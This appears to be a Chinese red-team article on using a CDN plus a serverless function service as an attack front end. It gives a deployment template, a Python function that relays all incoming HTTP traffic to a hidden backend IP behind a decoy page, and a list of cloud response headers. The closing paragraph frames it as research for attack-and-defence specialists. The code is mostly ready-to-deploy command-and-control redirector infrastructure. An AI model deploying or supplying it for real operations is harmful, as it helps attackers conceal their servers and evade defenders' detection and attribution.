CDN+FaaS打造攻击前置

 1ROSTemplateFormatVersion: '2015-09-01'
 2Transform: 'xxxyun::Serverless-2018-04-03'
 3Resources:
 4  redirect:
 5    Type: 'xxxyun::Serverless::Service'
 6    Properties:
 7      InternetAccess: true
 8    rcs:
 9      Type: 'xxxyun::Serverless::Function'
10      Properties:
11        Handler: index.main
12        Runtime: python3
13        Timeout: 60
14        MemorySize: 512
15        InstanceConcurrency: 1
16        EnvironmentVariables: {}
17        CodeUri: ./redirect/rcs
18      Events:
19        defaultTrigger:
20          Type: HTTP
21          Properties:
22            AuthType: anonymous
23            Methods:
24              - GET
25              - POST

 1# -*- coding: utf-8 -*-
 2import logging
 3import urllib.parse
 4import urllib.request
 5
 6HTTP_STATUS = {
 7    "200": "OK",
 8    "403": "Forbidden",
 9    "404": "Not Found",
10    "500": "Internal Server Error"
11}
12
13def main(environ, start_response):
14    header_dict = {}
15
16    html = "hello guy!".encode("utf-8")
17    try:
18      get_url = 'http://8.8.8.8' + environ['PATH_INFO'] + "?" + environ["QUERY_STRING"] 
19    except KeyError:
20      get_url = 'http://8.8.8.8' + environ['PATH_INFO'] 
21
22    try:
23        request_body_size = int(environ.get('CONTENT_LENGTH', 0))
24    except ValueError:
25        request_body_size = 0
26
27    request_body = environ['wsgi.input'].read(request_body_size)
28
29    return_body = []
30    for key, value in environ.items():
31        # return_body.append("{} : {}".format(key, value))
32        if key.startswith('HTTP_'):
33            header_key = key[5:]
34            header_dict[header_key] = value
35
36    try:
37        if environ['REQUEST_METHOD'] == 'GET':
38            request = urllib.request.Request(get_url, headers=header_dict)
39
40        else:
41            request = urllib.request.Request(get_url, headers=header_dict, data=request_body)
42
43        response = urllib.request.urlopen(request)
44        html = response.read()
45        headers = []
46
47        for key, value in dict(response.headers).items():
48            headers.append((key, value))
49
50        status_code = str(response.status)
51        start_response(status_code + " " + HTTP_STATUS[status_code], headers)
52
53    except:
54        html = "hello guy!".encode("utf-8")
55
56    return [html]

 1Access-Control-Expose-Headers
 2X-Fc-Code-Checksum
 3X-Fc-Invocation-Duration
 4X-Fc-Invocation-Service-Version
 5X-Fc-Max-Memory-Usage
 6X-Fc-Request-Id
 7Ali-Swift-Global-Savetime
 8Via
 9X-Cache
10X-Swift-SaveTime
11X-Swift-CacheTime
12Timing-Allow-Orgin
13EagledId
14X-Fc-Error-Type
15X-Fc-Traffic-Type

随着攻防对抗形势的白热化发展，对抗升级的过程愈发对OPSEC提出了更高的要求，而云的高速发展为业务数字化转型提供便利的同时，也方便了攻击者滥用其能力去完成高隐蔽和持续性的攻击。本文所述部分方法在截止本文发出时已被个别云厂商所修复，此次分享旨在为蓝军技术研究人员拓展思路，而云上其他各类型服务根据场景依旧存在被滥用的可能性，值得攻防研究人员和云厂商跟进关注。